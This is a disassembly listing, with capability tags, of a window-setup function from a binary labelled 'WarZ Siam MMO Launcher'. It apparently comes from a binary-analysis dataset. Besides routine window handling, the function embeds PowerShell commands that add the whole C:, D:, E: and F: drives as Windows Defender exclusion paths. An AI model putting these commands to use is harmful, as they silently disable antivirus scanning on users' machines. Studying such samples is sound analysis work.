Function at 0x57fe40
Capabilities:
Hide graphical window
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5dd54e
mov eax, dword fs:[0]
push eax
sub esp, 0x208
mov eax, dword [0x6c2da0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.0058e4e0
cmp byte [0x883587], 0
je 0x57fec1
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call fcn.005bd71a
add eax, 0x20
push eax
push 0x685c1c
push 0x68a490
call fcn.005bd65a
call fcn.005bd71a
push eax
push 0x68a498
push str.CONIN_
call fcn.005bd65a
add esp, 0x18
mov dword [0x7ddef0], 1
jmp 0x5800c3
sub esp, 0x18
mov ecx, esp
push 0x6e
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push str.powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath_C:
mov byte [ecx], 0
call fcn.005833a0
call fcn.0057fd50
mov ecx, esp
push 0x6e
push str.powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath_D:
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.005833a0
call fcn.0057fd50
mov ecx, esp
push 0x6e
push str.powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath_E:
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.005833a0
call fcn.0057fd50
mov ecx, esp
push 0x6e
push str.powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath_F:
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.005833a0
call fcn.0057fd50
add esp, 0x18
call fcn.0057d000
push 5
push dword [0x7df5ec]
call dword [sym.imp.USER32.dll_LoadIconA]
push eax
push 0
push 0x80
push dword [0x7df5f0]
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x800000
push 0
push dword [0x7df5f0]
call fcn.00597480
push 0xc00000
push 0
push dword [0x7df5f0]
call fcn.00597480
add esp, 0x18
push 0x57fbd0
push 0xfffffffffffffffc
push dword [0x7df5f0]
call dword [sym.imp.USER32.dll_SetWindowLongA]
call fcn.005a0ed0
push 0
push 0
push 0
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateICA]
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ebx, eax
push 8
push ebx
call esi
push 0xa
push ebx
mov edi, eax
call esi
mov ecx, eax
lea eax, [edi - 0x311]
cdq
sub eax, edx
mov esi, eax
lea eax, [ecx - 0x28a]
sar esi, 1
cdq
sub eax, edx
sar eax, 1
push 0
push 0x28a
push 0x311
push eax
push esi
push 0
push dword [0x7df5f0]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0x102650
call fcn.00598de0
add esp, 4
mov dword [ebp - 0x214], eax
mov dword [ebp - 4], 0
test eax, eax
je 0x58003f
mov ecx, eax
call fcn.005990b0
jmp 0x580041
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov ecx, eax
push 0
push dword [0x7df5f0]
mov dword [0x7ddfa4], eax
call fcn.0059b630
call fcn.0057f0f0
push str.Aug_26_2024_18:55:18
push str.1.0.0
lea eax, [ebp - 0x210]
push str.WarZ_Siam_MMO__Launcher__s___s_
push eax
call fcn.00582f30
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
push dword [0x7df5f0]
call dword [sym.imp.USER32.dll_SetWindowTextA]
call fcn.0057f580
push 5
push dword [0x7df5f0]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call dword [sym.imp.USER32.dll_ClipCursor]
mov ecx, dword [0x7ddf8c]
call fcn.005a4480
mov ecx, dword [0x7ddf88]
call fcn.005a44d0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005bba53
mov esp, ebp
pop ebp
ret